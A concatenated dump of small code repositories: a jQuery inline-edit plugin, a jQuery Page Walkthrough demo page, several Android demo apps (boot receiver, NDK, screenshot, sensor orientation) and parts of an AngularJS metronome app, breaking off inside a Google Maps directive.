$div; // 有没有初始化过 var _isInit = false; // 开始编辑 var startEdit = function(event) { if (option.readOnly) { $div.attr("contenteditable", "false"); return; } event.stopPropagation(); event.preventDefault(); $div.html(option.value); option.onStart && option.onStart(); $div.attr("contenteditable", "true"); $div.focus(); option.classEditing && $div.addClass(option.classEditing); }; // 当取消焦点的时候,触发的事件 var blurEvent = function() { $div.removeAttr("contenteditable"); var value = formatValue(); $div.html(value); option.onEnd && option.onEnd(value); if (option.value != value) { option.value = value; } option.classEditing && $div.removeClass(option.classEditing); }; // 根据要求,返回格式化编辑的结果 var formatValue = function() { var value = ""; if (option.need == "html") value = $div.html().trim(); else value = $div.text().trim(); if (option.maxSize && option.maxSize > 0 && value.length > option.maxSize) value = value.substring(0, option.maxSize - 1); return value; }; // 取得内容 this.getValue = function() { return formatValue(); }; // 设置内容 this.setValue = function(value) { $div.html(value); blurEvent(); }; this.setReadOnly = function(value) { option.readOnly = value; } var init = function(_option) { option = $.extend(defaults, _option); $div = $(option.div); var realValue = option.value || option.defaultValue; $div.html(realValue); blurEvent(); $div.css("outline", "0px"); $div.click(startEdit); $div.dblclick(function(event) { event.stopPropagation(); event.preventDefault(); }); $div.blur(blurEvent); _isInit = true; }; init(_option); }<file_sep>/web-library/jquerypagewalkthrough/example/example.html <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8"> <title>jQuery Page Walkthrough</title> <meta name="description" content="jQuery Page Walkthrough"> <meta name="author" content="<NAME>"> <!-- Standard CSS Includes --> <link type="text/css" rel="stylesheet" href="../plugins/css/jquery.pagewalkthrough.css" /> <link type="text/css" rel="stylesheet" href="style.css"/> <!-- Standard Script Includes --> <script type="text/javascript" src="../plugins/jquery-1.7.2.min.js"></script> <script type="text/javascript" src="../plugins/jquery.pagewalkthrough-1.1.0.js"></script> <script type="text/javascript" src="page.js"></script> </head> <body> <div id="container"> <div id="header"> <div class="wrapper clearfix"> <div class="logo"> <a href="#">jQuery Page Walkthrough</a> </div> <div class="main-menu"> <ul> <li><a href="javascript:;" id="open-walkthrough">Walkthrough</a></li> <li><a href="javascript:;" id="open-callbacks">Callbacks</a></li> <li><a href="javascript:;" id="open-methods">Methods</a></li> <li class="last"><a href="javascript:;" id="open-extra">Extra</a></li> </ul> </div> <div class="search-box"> <form> <div class="form-element clearfix"> <div class="inputText search"> <input type="text" value="Search..." /> </div> <input type="submit" value="search" class="btnSearch"/> </div> </form> </div> </div> </div><!-- header --> <div id="content"> <div class="wrapper clearfix"> <div class="content-left"> <div class="page-description" id="page-desc"> <h2><img src="images/send_us_your_enquiry.gif"></h2> <p>Whether you're interested in working for us, engaging us to work for you, or you want to find out more about our great work for your next news story, please tweet us, call us, visit us or submit your enquiry using the form below.</p> </div> <div class="contact-form"> <div class="mark"> <em>*</em> Mandatory fields </div> <form id="contact-form"> <div class="two-col"> <div class="col-left"> <div class="form-element clearfix" id="enquiry-type"> <label>Subject of enquiry: <em>*</em></label> <select> <option value="0">please select</option> <option value="1">Sales Enquiry</option> <option value="2">Employment Enquiry</option> <option value="3">Media Enquiry</option> </select> </div> <div class="form-element clearfix" id="enquiry-email"> <label>Email Addreess <em>*</em></label> <div class="inputText"> <input type="text"> </div> </div> </div> <div class="col-right"> <div class="form-element clearfix" id="enquiry-name"> <label>Name <em>*</em></label> <div class="inputText"> <input type="text"> </div> </div> <div class="form-element clearfix" id="enquiry-phone"> <label>Phone <em>*</em></label> <div class="inputText"> <input type="text"> </div> </div> </div> </div> <textarea id="enquiry-message"></textarea> <input type="submit" value="Send Enquiry" class="button"> </form> </div> <div class="divider-dotted"></div> <div class="social-media clearfix"> <ul> <li id="email-us"> <h3>Email us</h3> <span><a href="javascript:;"><EMAIL></a></span> </li> <li> <h3>Tweet us</h3> <span><a href="javascript:;" class="twitter">twitter</a></span> </li> <li> <h3>Facebook</h3> <span><a href="javascript:;" class="facebook">facebook</a></span> </li> </ul> </div> </div><!-- content left --> <div class="content-right"> <div class="addressWrapper clearfix"> <div class="officeAddress"> <h3 class="titleComponent"> Indonesia: <a target="_blank" href="javascript:;">view map</a> </h3> <div class="officeAddressContentWrapper"> <span class="address"> A Nerd Street 06/12 pm</span> <ul class="phoneAndFax"> <li>Phone : <span> (01) 2345 6789 </span></li> <li>Fax : <span> (01) 2345 6789</span></li> </ul> </div> </div> <div class="divider-dotted"></div> <div class="officeAddress"> <h3 class="titleComponent"> Singapore: <a target="_blank" href="javascript:;">view map</a> </h3> <div class="officeAddressContentWrapper"> <span class="address"> A Geek Street 06/12 pm</span> <ul class="phoneAndFax"> <li>Phone : <span> (02) 2345 6789 </span></li> <li>Fax : <span> (02) 2345 6789</span></li> </ul> </div> </div> <div class="divider-dotted"></div> <div class="officeAddress"> <h3 class="titleComponent"> Australia <a target="_blank" href="javascript:;">view map</a> </h3> <div class="officeAddressContentWrapper"> <span class="address"> A Lorem ipsum Street 123x</span> <ul class="phoneAndFax"> <li>Phone : <span> (03) 2345 6789 </span></li> <li>Fax : <span> (03) 2345 6789</span></li> </ul> </div> </div> </div><!-- address wrapper --> </div><!-- content right --> </div> </div><!-- content --> <div id="footer"> <div class="footerWrapper"> <div class="officeAddress"> <div class="item" id="indonesia"> <h5> Indonesia: <span> <a target="_blank" href="javascript:;">google map</a> </span> </h5> A Nerd Street 06/12pm <span class="spPhone">Phone : (01) 1234 5678</span> <span class="spPhone">Fax : (01) 1234 5678</span> </div> <div class="item" id="singapore"> <h5> Singapore: <span> <a target="_blank" href="javascript:;">google map</a> </span> </h5> A Geek Street 06/12 pm <span class="spPhone">Phone : (02) 1234 5678</span> <span class="spPhone">Fax : (02) 1234 5678</span> </div> <div class="item" id="australia"> <h5> Australia <span> <a target="_blank" href="javascript:;">google map</a> </span> </h5> Lorem ipsum Street 123x <span class="spPhone">Phone : (03) 1234 5678</span> <span class="spPhone">Fax : (03) 1234 5678</span> </div> </div> <div class="divider-dotted"></div> <div class="footer-menu"> <div id="privacyContainer"> <ul> <li> <a href="#" id="privacy">Privacy Policy</a></li> <li> <a href="#" id="sitemap">Site Map</a></li> </ul> <span class="copyRight">&copy;Copyright 2013 jQuery Page Walkthrough. All Rights Reserved.</span> </div> </div> </div> </div><!-- footer --> </div><!-- container --> <!-- walkthrough --> <div id="walkthrough"> <div id="type-modal" style="display:none;"> <p class="tooltipTitle">Walkthrough Type Modal</p> <p>Each step has numerous configuration options to fine-tune its position and appearance. This step demonstrates the "modal" option which doesn't highlight any part of the page.system for designing interactive, multimedia, educational walkthroughs.</p> <br> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-tooltip" style="display:none;"> <p class="tooltipTitle">Walkthrough Type Tooltip &amp; Highlighting Area</p> <p>Walkthough can highlight any part of the page and link it to content. Since the highlight is based on standard CSS selectors, they will adjust if the page changes.</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-tooltip-top" style="display:none;"> <p class="tooltipTitle">Tooltip Top Position</p> <p>Walkthough is defined as a series of steps, each with custom content. The content can be placed above (like here)...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-tooltip-right" style="display:none;"> <p class="tooltipTitle">Tooltip Right Position</p> <p>...on the right...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-tooltip-bottom" style="display:none;"> <p class="tooltipTitle">Tooltip Bottom Position</p> <p>...on the bottom...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-tooltip-left" style="display:none;"> <p class="tooltipTitle">Tooltip Left Position</p> <p>...or on the left...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="type-no-highlight" style="display:none;"> <p class="tooltipTitle">Walkthrough Type No Highlight</p> <p>Walkthrough can be used without highlighting area</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="tooltip-draggable" style="display:none;"> <p class="tooltipTitle">Tooltip Draggable</p> <p>Walkthrough tooltip draggable...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="nohighlight-draggable" style="display:none;"> <p class="tooltipTitle">NoHighlight Draggable</p> <p>Walkthrough no highlight drag and drop...</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="content-rotation" style="display:none;"> <p class="tooltipTitle">Content Rotation</p> <p>All walkthrough type support Content Rotation Feature</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="highlight-accessable" style="display:none;"> <p class="tooltipTitle">Tooltip Type Accessable Highlight Area</p> <p>You can set the highlight area to be accessable</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="auto-scroll" style="display:none;"> <p class="tooltipTitle">Auto Scroll</p> <p>Auto scrolling page to the walkthrough step, this step will show you autoScroll options set FALSE which means it will not autoscroll for this step</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="stay-focus" style="display:none;"> <p class="tooltipTitle">Stay Focus to The Walkthrough</p> <p>Walkthrough has option to force user stay focus on the walkthrough step, try to scroll down on this step</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="done-walkthrough" style="display:none;"> <p class="tooltipTitle">DONE...!!!</p> <p>Woohoo...It's Done!, Now please click 'close' button at top right corner to close this walkthrough</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> </div> </div> <!-- callback --> <div id="callbacks"> <div id="callback-beforeshow-aftershow" style="display:none;"> <p class="tooltipTitle">onBeforeShow &amp; onAfterShow </p> <p>This callback will be executed only on before show &amp; on after show the first step</p> <br> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="callback-restart" style="display:none;"> <p class="tooltipTitle">onRestart</p> <p>This callback will be executed when walkthrough is restarted</p> <br> <a href="javascript:;" class="restart-step" style="float:left;">Restart</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="callback-onleave" style="display:none;"> <p class="tooltipTitle">onLeave</p> <p>This callback will be executed on LEAVE this step </p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="callback-onenter" style="display:none;"> <p class="tooltipTitle">onEnter</p> <p>This callback will be executed on ENTER this step </p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="callback-onclose" style="display:none;"> <p class="tooltipTitle">onClose</p> <p>This callback will be executed on walkthrough close. Now try to close the walkthrough now..</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="callback-oncookieload" style="display:none;"> <p class="tooltipTitle">onCookieLoad</p> <p>On Cookie Load means when walkthrough has been closed it will set a cookie and tells the walkthrough to not load automaticly. Try to refresh the page to see onCookieLoad callback</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> </div> </div> <!-- methods --> <div id="methods"> <div id="method-show" style="display:none;"> <p class="tooltipTitle">Method show</p> <p>This method allows you to open page walkthrough</p> <p><pre>$.pagewalkthrough('show', target)</pre></p> <p>Target is your walkthrough ID, i.e: #selector</p> <br> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-next" style="display:none;"> <p class="tooltipTitle">Method Next</p> <p>This method allows you to go the NEXT step</p> <p><pre>$.pagewalkthrough('next', event)</pre></p> <p>Note: event is needed as a param to call next method</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-prev" style="display:none;"> <p class="tooltipTitle">Method Prev</p> <p>This method allows you to go the PREVIOUS step</p> <p><pre>$.pagewalkthrough('prev', event)</pre></p> <p>Note: event is needed as a param to call prev method</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-restart" style="display:none;"> <p class="tooltipTitle">Method Restart</p> <p>This method allows you to RESTART walkthrough</p> <p><pre>$.pagewalkthrough('restart', event)</pre></p> <p>Note: event is needed as a param to call restart method</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-close" style="display:none;"> <p class="tooltipTitle">Method Close</p> <p>This method allows you to CLOSE walkthrough</p> <p><pre>$.pagewalkthrough('close', target)</pre></p> <p>Target is optional. It could be filled with walkthrough ID or leave it blank</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-ispagewalkthroughactive" style="display:none;"> <p class="tooltipTitle">Property: isPageWalkthroughActive</p> <p>This property will return status of page walkthrough</p> <p><pre>$.pagewalkthrough('isPageWalkthroughActive')</pre></p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-currindex" style="display:none;"> <p class="tooltipTitle">Property: currIndex</p> <p>This property will return current index of current walkthrough step</p> <p><pre>$.pagewalkthrough('currIndex')</pre></p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="method-getoptions" style="display:none;"> <p class="tooltipTitle">Property: getOptions</p> <p>This property will return walkthrough options whether it an active walkthrough options or all walkthrough options</p> <p><pre>$.pagewalkthrough('getOptions', activeWalkthrough)</pre></p> <p>activeWalkthrough = true / false. By default it is FALSE, if set TRUE it will return current active walkthrough object, if FALSE it will return Array of all walkthrough options <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> </div> </div> <!-- example --> <div id="extra"> <div id="ex-image" style="display:none;"> <p class="tooltipTitle">Image in Step Content</p> <p>You can add image in step content.</p> <img src="images/monster-inc.jpg"> <br> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="ex-video" style="display:none;"> <p class="tooltipTitle">Embedding Video</p> <p>You can embedding video too...</p> <iframe width="560" height="315" src="http://www.youtube.com/embed/8UVNT4wvIGY" frameborder="0" allowfullscreen></iframe> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="ex-validation" style="display:none;"> <p class="tooltipTitle">Step Validation</p> <p>jQuery Page Walkthrough also supports powerful options for control-of-flow. For example, this step won't let you proceed unless you fill in a valid phone number (numbers only)</p> <br> <a href="javascript:;" class="prev-step" style="float:left;">Prev Step</a> <a href="javascript:;" class="next-step" style="float:right;">Next Step</a> </div> <div id="ex-done" style="display:none;"> <p class="tooltipTitle">Support</p> <p>For future feature and issue support you can contact me at <EMAIL></p> </div> </div> </body> </html>
e525ddcab67606fb0e6b24a475049067f7bb691d
[ "JavaScript", "HTML", "Markdown" ]
7
JavaScript
NovelBioCloud/JsLibrary
ae6d78bcbac485e8e241ef799c11c8933b66249b
1e25257f20c4d5161bd1c47120e24d518f829503
refs/heads/master
<file_sep>package com.test.bootreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //下面添加 接收到开机完成广播后的要执行的代码 System.out.println(">>>>>>>>>>>>Boot"); //开机启动Activity Intent it =context.getPackageManager().getLaunchIntentForPackage("com.test.bootreceiver"); context.startActivity(it ); //开机启动Service Intent service = new Intent(context,ServiceTest.class); context.startService(service); } } <file_sep>package com.example.hellondk; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.widget.TextView; public class MainActivity extends Activity { TextView textView; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = (TextView)findViewById(R.id.tv); String str = getText();//调用native方法 textView.setText(str); System.out.println(getText2()); } static{ System.loadLibrary("mylib");//导入链接库 } public native String getText();//声明native方法 public native String getText2();//声明native方法 } <file_sep>package com.example.screenshot; import java.io.File; import java.io.FileOutputStream; import java.util.Date; import android.app.Activity; import android.graphics.Bitmap; import android.graphics.Bitmap.Config; import android.os.Bundle; import android.os.Environment; import android.view.Display; import android.view.View; import android.view.View.OnClickListener; import android.view.WindowManager; import android.widget.Button; import android.widget.Toast; /** * 屏幕截图 * @author EPICVIEW * */ public class MainActivity extends Activity { private Button btn1; private String fileName; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn1 = (Button)findViewById(R.id.button1); btn1.setOnClickListener(new OnClickListener() { public void onClick(View v) { GetandSaveCurrentImage() ; } }); } /** * 获取和保存当前屏幕的截图 */ private void GetandSaveCurrentImage() { //1.构建Bitmap WindowManager windowManager = getWindowManager(); Display display = windowManager.getDefaultDisplay(); int w = display.getWidth(); int h = display.getHeight(); Bitmap Bmp = Bitmap.createBitmap( w, h, Config.ARGB_8888 ); //2.获取屏幕 View decorview = this.getWindow().getDecorView(); decorview.setDrawingCacheEnabled(true); Bmp = decorview.getDrawingCache(); String SavePath = getSDCardPath()+"/ScreenImage"; //3.保存Bitmap try { File path = new File(SavePath); //文件 fileName =new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new java.util.Date()); String filepath = SavePath + "/"+fileName+".png"; File file = new File(filepath); if(!path.exists()){ path.mkdirs(); } if (!file.exists()) { file.createNewFile(); } FileOutputStream fos = null; fos = new FileOutputStream(file); if (null != fos) { Bmp.compress(Bitmap.CompressFormat.PNG, 90, fos); fos.flush(); fos.close(); Toast.makeText(this, "截屏文件已保存至SDCard/ScreenImage/"+fileName+".png", Toast.LENGTH_LONG).show(); } } catch (Exception e) { e.printStackTrace(); } } /** * 获取SDCard的目录路径功能 * @return */ private String getSDCardPath(){ File sdcardDir = null; //判断SDCard是否存在 boolean sdcardExist = Environment.getExternalStorageState().equals(android.os.Environment.MEDIA_MOUNTED); if(sdcardExist){ sdcardDir = Environment.getExternalStorageDirectory(); } return sdcardDir.toString(); } } <file_sep>#include<string.h> #include<stdio.h> #include<jni.h> jstring Java_com_example_hellondk_MainActivity_getText(JNIEnv* env,jobject obj) { return(*env)->NewStringUTF(env,"Hello NDK"); } Java_com_example_hellondk_MainActivity_getText2(JNIEnv* env,jobject obj) { return(*env)->NewStringUTF(env,"Hello NDK2"); } <file_sep>package com.example.android3d; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.WindowManager; public class MainActivity extends Activity { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); CoverFlow cf = new CoverFlow(this); //cf.setBackgroundDrawable(this.getResources().getDrawable(R.drawable.bg));//±³¾° cf.setAdapter(new ImageAdapter(this)); ImageAdapter imageAdapter = new ImageAdapter(this); cf.setAdapter(imageAdapter); cf.setSelection(2, true); cf.setAnimationDuration(1000); setContentView(cf); } } <file_sep>package com.example.hellondk; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.widget.TextView; public class MainActivity extends Activity { TextView textView; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = (TextView) findViewById(R.id.tv); String str = getText();// 调用native方法 textView.setText(str + "\n" + getText2() + "\n" + getText3() + "\n" + AddInt(1, 2) + "\n" + getInt() + "\n" + calc()); } static { System.loadLibrary("mylib");// 导入链接库 } public native String getText();// 声明native方法 public native String getText2();// 声明native方法 public native String getText3();// 声明native方法 public native int getInt(); public native int AddInt(int a, int b);// 声明native方法 public native int calc(); } <file_sep>#include<string.h> #include<stdio.h> #include<jni.h> jstring Java_com_example_hellondk_MainActivity_getText(JNIEnv* env,jobject obj) { return(*env)->NewStringUTF(env," Hello NDK-1"); } jstring Java_com_example_hellondk_MainActivity_getText2(JNIEnv* env,jobject obj) { return(*env)->NewStringUTF(env," Hello NDK-2"); } jstring Java_com_example_hellondk_MainActivity_getText3(JNIEnv* env,jobject obj) { return(*env)->NewStringUTF(env," Hello NDK-3"); } jint Java_com_example_hellondk_MainActivity_getInt(JNIEnv* env,jobject obj) { return 1; } JNIEXPORT jint JNICALL Java_com_example_hellondk_MainActivity_AddInt (JNIEnv *env, jclass arg, jint a, jint b) { return a + b; } <file_sep>#include<string.h> #include<stdio.h> #include<jni.h> jint Java_com_example_hellondk_MainActivity_calc() { return 1; } <file_sep>package com.example.senor; import android.app.Activity; import android.content.Context; import android.hardware.Sensor; import android.hardware.SensorEvent; import android.hardware.SensorEventListener; import android.hardware.SensorManager; import android.os.Bundle; import android.widget.TextView; /** * 功能:获取手机的方向 * 描述:使用官方推荐的方法getOrientation(x,x)代替,getDefaultSensor(Sensor.TYPE_ORIENTATION) * 通过加磁力计magnetometer和加速度传感器accelerometer的值计算出方向值 * 具体参考http://blog.csdn.net/android_qhdxuan/article/details/7454313 * @author EPICVIEW * */ public class MainActivity extends Activity { /** Called when the activity is first created. */ TextView tv1,tv2,tv3; private SensorManager sm=null; private Sensor aSensor=null; private Sensor mSensor=null; float[] accelerometerValues=new float[3]; float[] magneticFieldValues=new float[3]; float[] values=new float[3]; float[] rotate=new float[9]; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tv1=(TextView)findViewById(R.id.t1); tv2=(TextView)findViewById(R.id.t2); tv3=(TextView)findViewById(R.id.t3); sm=(SensorManager)getSystemService(Context.SENSOR_SERVICE); aSensor=sm.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); mSensor=sm.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD); sm.registerListener(myListener, aSensor, SensorManager.SENSOR_DELAY_GAME); sm.registerListener(myListener, mSensor, SensorManager.SENSOR_DELAY_GAME); } @Override protected void onPause() { // TODO Auto-generated method stub super.onPause(); sm.unregisterListener(myListener); } final SensorEventListener myListener=new SensorEventListener(){ @Override public void onAccuracyChanged(Sensor sensor, int accuracy) { // TODO Auto-generated method stub } @Override public void onSensorChanged(SensorEvent event) { // TODO Auto-generated method stub if(event.sensor.getType()==Sensor.TYPE_ACCELEROMETER){ accelerometerValues=event.values; } if(event.sensor.getType()==Sensor.TYPE_MAGNETIC_FIELD){ magneticFieldValues=event.values; } SensorManager.getRotationMatrix(rotate, null, accelerometerValues, magneticFieldValues); SensorManager.getOrientation(rotate, values); //经过SensorManager.getOrientation(rotate, values);得到的values值为弧度 //转换为角度 values[0]=(float)Math.toDegrees(values[0]); values[1]=(float)Math.toDegrees(values[1]); values[2]=(float)Math.toDegrees(values[2]); tv1.setText("x="+(int )values[0]); tv2.setText("y="+(int )values[1]); tv3.setText("z="+(int )values[2]); }}; }<file_sep>LOCAL_PATH :=$(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE :=mylib LOCAL_SRC_FILES :=source.c calc.c include $(BUILD_SHARED_LIBRARY)
528ce60ff9ec5b12d405d9016832e8b47f9e9779
[ "Makefile", "Java", "C" ]
10
Java
1107979819/Android-Demo
e578368ae09e928cc54f2f9c5fdc975057ab43e1
38f9320ac14fb15596e47e3f3b65751f7002d919
refs/heads/master
<file_sep>'use strict'; /** * @ngdoc service * @name metronomeApp.localTranslate * @description * # localTranslate * Service in the metronomeApp. */ angular.module('metronomeApp') .service('localTranslate', function ($translate, LOCALES, $rootScope, tmhDynamicLocale) { 'use strict'; const localObj = LOCALES.locales; const _LOCALES = Object.keys(localObj); if (!_LOCALES || _LOCALES.length === 0) console.error('There are no _LOCALES provided'); const _LOCALES_DISPLAY_NAMES = []; _LOCALES.forEach(function (locale) { _LOCALES_DISPLAY_NAMES.push(localObj[locale]); }); const currentLocale = $translate.proposedLanguage(); var checkLocaleIsValid = function (locale) { return _LOCALES.indexOf(locale) !== 1; }; var setLocale = function (locale) { if (!checkLocaleIsValid(locale)) { console.error('LOcale name "' + locale + '" is invalid'); return; } startLoadingAnimation(); currentLocale = locale; $translate.use(locale); }; // Stop application loading animation when translation are loaded const $html = angular.element('html'), LOADING_CLASS = 'app-loading'; function startLoadingAnimation() { $html.addClass(LOADING_CLASS); } function stopLoadingAnimation() { $html.removeClass(LOADING_CLASS); } $rootScope.$on('$translateChangeSucess', function (event, data) { document.documentElement.setAttribute('lang', data.language); tmhDynamicLocale.set(data.language.toLowerCase().replace(/_/g, '-')); // Load angular locale }); $rootScope.$on('$localeChangeSucess', function () { stopLoadingAnimation(); }); return { getLocaleDisplayName: function () { return localObj[currentLocale]; }, setLocaleByDisplayName: function (localeDisplayName) { setLocale(_LOCALES[_LOCALES_DISPLAY_NAMES.indexOf(localeDisplayName)]); // Get locale index }, getLocalesDisplayName: function () { return _LOCALES_DISPLAY_NAMES; } } }); <file_sep>'use strict'; describe('Service: localTranslate', function () { // load the service's module beforeEach(module('metronomeApp')); // instantiate service var localTranslate; beforeEach(inject(function (_localTranslate_) { localTranslate = _localTranslate_; })); it('should do something', function () { expect(!!localTranslate).toBe(true); }); }); <file_sep>'use strict'; /** * @ngdoc function * @name metronomeApp.controller:AppCtrl * @description * # AppCtrl * Common application controller */ angular.module('metronomeApp') .controller('AppCtrl', function ($scope, $rootScope, $translate, VERSION_TAG) { $rootScope.VERSION_TAG = VERSION_TAG; /** * Translations for the view */ const pageTitleTranslationId = 'PAGE_TITLE', pageContentTranslationId = 'PAGE_CONTENT'; $translate(pageTitleTranslationId, pageContentTranslationId) .then(function (translatedPageTitle, translatedPageContent) { $rootScope.pageTitle = translatedPageTitle; $rootScope.pageContent = translatedPageContent; }); /** * Scope locale */ $scope.locale = $translate.use(); /** * Provide info about current route path */ $rootScope.$on('$routeChangeSuccess', function (event, current) { $scope.currentPath = current.$$route.originalPath; }); /** * Events */ $rootScope.$on('$translateChangeSuccess', function (event, data) { $scope.locale = data.language; $rootScope.pageTitle = $translate.instant(pageTitleTranslationId); $rootScope.pageContent = $translate.instant(pageContentTranslationId); }); }); <file_sep>'use strict'; /** * @ngdoc directive * @name metronomeApp.directive:header * @description * # header */ angular.module('metronomeApp') .directive('header', function () { return { restrict: 'A', replace: true, templateUrl: '../views/header.html', link: function postLink(scope) { console.log('header load'); scope.IsVisible = true; console.log(scope.IsVisible); let openMenu = angular.element(document.querySelector('.open-menu')), closeMenu = angular.element(document.querySelector('.close-menu')), overlay = angular.element(document.querySelector('.overlay')); openMenu.on('click', function () { console.log('Click open menu'); overlay.toggleClass('open'); console.log(scope.IsVisible); }); closeMenu.on('click', function () { console.log('Click close menu'); overlay.removeClass('open'); //scope.IsVisible = true; console.log(scope.IsVisible); }); let nav = angular.element(document.querySelector(".overlay-menu")); nav.on("click", "a", null, function () { console.log('tentative de fermeture'); //scope.IsVisible = true; overlay.removeClass('open') }); scope.ShowHide = function () { //If DIV is visible it will be hidden and vice versa. scope.IsVisible = scope.IsVisible ? false : true; } } }; }); <file_sep>'use strict'; /** * @ngdoc directive * @name metronomeApp.directive:map * @description * # map */ var module = angular.module('metronomeApp'); module.directive('map', function () { return { template: '<div></div>', restrict: 'E', replace: true, link: function (scope, element, attrs) { console.log(element); var myOptions = { // How zoomed in you want the map to start at (always required) zoom: 6, disableDefaultUI: true, draggable: false, streetViewControl: false, scrollwheel: false, // The latitude and longitude to center the map (always required) // POSITION 1 center: new google.maps.LatLng(48.858278, 2.294254), // EDIT THIS PART // How you would like to style the map. // This is where you would paste any style found on Snazzy Maps. styles: [ { "featureType": "all", "elementType": "labels.text.fill", "stylers": [ { "saturation": 36 }, { "color": "#000000" }, { "lightness": 40 } ] }, { "featureType": "all", "elementType": "labels.text.stroke", "stylers": [ { "visibility": "on" }, { "color": "#000000" }, { "lightness": 16 } ] }, { "featureType": "all", "elementType": "labels.icon", "stylers": [ { "visibility": "off" } ] }, { "featureType": "administrative", "elementType": "geometry.fill", "stylers": [ { "color": "#000000" }, { "lightness": 20 } ] }, { "featureType": "administrative", "elementType": "geometry.stroke", "stylers": [ { "color": "#000000" }, { "lightness": 17 }, { "weight": 1.2 } ] }, { "featureType": "landscape", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 20 } ] }, { "featureType": "poi", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 21 } ] }, { "featureType": "road.highway", "elementType": "geometry.fill", "stylers": [ { "color": "#000000" }, { "lightness": 17 } ] }, { "featureType": "road.highway", "elementType": "geometry.stroke", "stylers": [ { "color": "#000000" }, { "lightness": 29 }, { "weight": 0.2 } ] }, { "featureType": "road.arterial", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 18 } ] }, { "featureType": "road.local", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 16 } ] }, { "featureType": "transit", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 19 } ] }, { "featureType": "water", "elementType": "geometry", "stylers": [ { "color": "#000000" }, { "lightness": 17 } ] } ] }; var map = new 